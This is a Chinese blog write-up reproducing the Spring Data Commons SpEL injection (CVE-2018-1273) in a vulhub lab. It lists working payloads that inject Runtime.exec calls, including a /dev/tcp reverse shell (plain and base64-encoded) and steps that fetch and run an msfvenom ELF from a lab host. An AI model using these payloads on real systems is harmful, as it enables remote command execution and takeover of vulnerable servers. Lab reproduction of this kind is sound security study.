首页 > 其他分享 >vulhub中spring的CVE-2018-1273漏洞复现

vulhub中spring的CVE-2018-1273漏洞复现

时间:2023-11-30 15:13:16浏览次数:48  
标签:vulhub spring 1273 elf Commons 漏洞 Spring password Data

 1.影响版本

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)

2.漏洞原理

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令

3.具体流程

打开漏洞环境,后可以看到这个页面

 

可以利用dirb进行扫描目录,但是好像没有必要,毕竟是复现漏洞,已经知道有一个users了

打开http://192.168.188.128:8080/users可以看到这个页面

 

随便填上几个数,用burpsuiter抓包,将下面的 post方式提交的的信息用payload替换

payload

 username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/111111")]=&password=&repeatedPassword=

 

可以看到这个111111已经成功创建

 

拿到shell

bash -i >& /dev/tcp/192.168.140.43/1234 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MC40My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MC40My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=

但是尝试之后并没有成功,利用msf生成一个elf,

 

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("weget http://192.168.188.139:1234/mshell.elf")]=&password=&repeatedPassword=

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("chmod 777 ./mshell.elf")]=&password=&repeatedPassword=

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("./mshell.elf")]=&password=&repeatedPassword=

之后就可以看到,shell已经成功反弹到msf

 

4.参考博客

msf生成linux elf木马反弹shell_msf elf_青果@的博客-CSDN博客

漏洞复现-CVE-2018-1273-Spring Data Commons 远程命令执行 - 铺哩 - 博客园 (cnblogs.com)

标签:vulhub,spring,1273,elf,Commons,漏洞,Spring,password,Data
From: https://www.cnblogs.com/qi-yue/p/17867411.html

相关文章

  • Spring Cloud 配置 Nacos
    一,下载Nacos 下载地址:https://github.com/alibaba/nacos/releases 二,启动Nacos安装Nacos的bin目录下,执行:startup.cmd-mstandalone 然后打开上图红框的地址 三,配置服务1配置Nacos创建命名空间(无论本地还是测试服务期,全部注册到Nacos上,通过命名空间可以区分......
  • @Autowired作用在方法上 @autowired注解放在方法上,如果方法没有参数,spring容器会在类
    @Autowired作用在方法上@autowired注解放在方法上,如果方法没有参数,spring容器会在类加载完后执行一次这个方法;如果方法中有参数的话,还会从容器中自动注入这个方法的参数,然后执行一次这个方法。@autowired用于测试的实体类User,并将这个类注入到Spring容器中,为@autowired注解......
  • SpringBoot的配置文件application.yml及加载顺序详解
    SpringBoot配置文件application.yml及加载顺序配置文件分类自定义配置文件配置文件总结Springboot中application.yml、application.properties和bootStrap.yml加载顺序SpringApplication位于项目根目录以jar包发布springboot项目时若application.yml和bootStra......
  • Spring源码学习之Web数据绑定器WebDataBinder
    WebDataBinder1.描述特殊的数据绑定器用于从web请求参数到JavaBean对象的数据绑定。专为web环境,但不依赖于ServletAPI;作为更具体的DataBinder变体的基类,例如ServletRequestDataBinder。2.注意:数据绑定会暴露对象图中不打算被外部客户端访问或修改的部分,从而导致安全问题。因......
  • Springboot开发的应用为什么这么占用内存
    Springboot开发的应用为什么这么占用内存Java的原罪Java程序员比c或者是c++程序员相比轻松了很多.不要管理繁杂的内存申请与释放,也不用担心因为忘记释放内存导致很严重的内存泄漏.因为JAVA使用GC垃圾回收的机制实现了内存的自动管理.自凡是自动管理,就需要有单独的内存......
  • SpringMvc集成开源流量监控、限流、熔断降级、负载保护组件Sentinel
    前言:作者查阅了Sentinel官网、51CTO、CSDN、码农家园、博客园等很多技术文章都没有很准确的springmvc集成Sentinel的示例,因此整理了本文,主要介绍SpringMvc集成SentinelSpringMvc集成Sentinel一、Sentinel介绍随着微服务的流行,服务和服务之间的稳定性变得越来越重要。Sentinel......
  • 【SpringBoot】单元测试报错java.lang.IllegalStateException: Could not load TestCo
    一、运行test类方法时候报错 二、分析原因,发现版本不一致 三、找到pom文件, 把<version>RELEASE</version>注释掉,刷新一下maven依赖 四:修改后,依赖版本一致。 这样,就可以运行了。 ......
  • java 令牌解析_SpringSecurity 原理解析【4】:令牌还原与Session String changeSessio
    java令牌解析_SpringSecurity原理解析【4】:令牌还原与SessionStringchangeSessionId();//修改SessionIdSpringSecurity原理解析【4】:令牌还原与SessionSession:一般称为会话,不同环境中含义不同,在SpringSecurity中一个会话指:客户端从令牌认证请求到登出注销请求之间的......
  • 学了SpringBoot的令牌
    packagecom.itheima.bigeventadmin.utils;importcom.auth0.jwt.JWT;importcom.auth0.jwt.algorithms.Algorithm;importjava.util.Date;importjava.util.Map;publicclassJwtUtil{privatestaticfinalStringKEY="itheima";//接收业......
  • springboot可以同时处理多少请求
    https://www.bilibili.com/video/BV1Ck4y1F76o/?spm_id_from=333.999.0.0&vd_source=a3fefff79a3be320da3db60b271f05c9  ......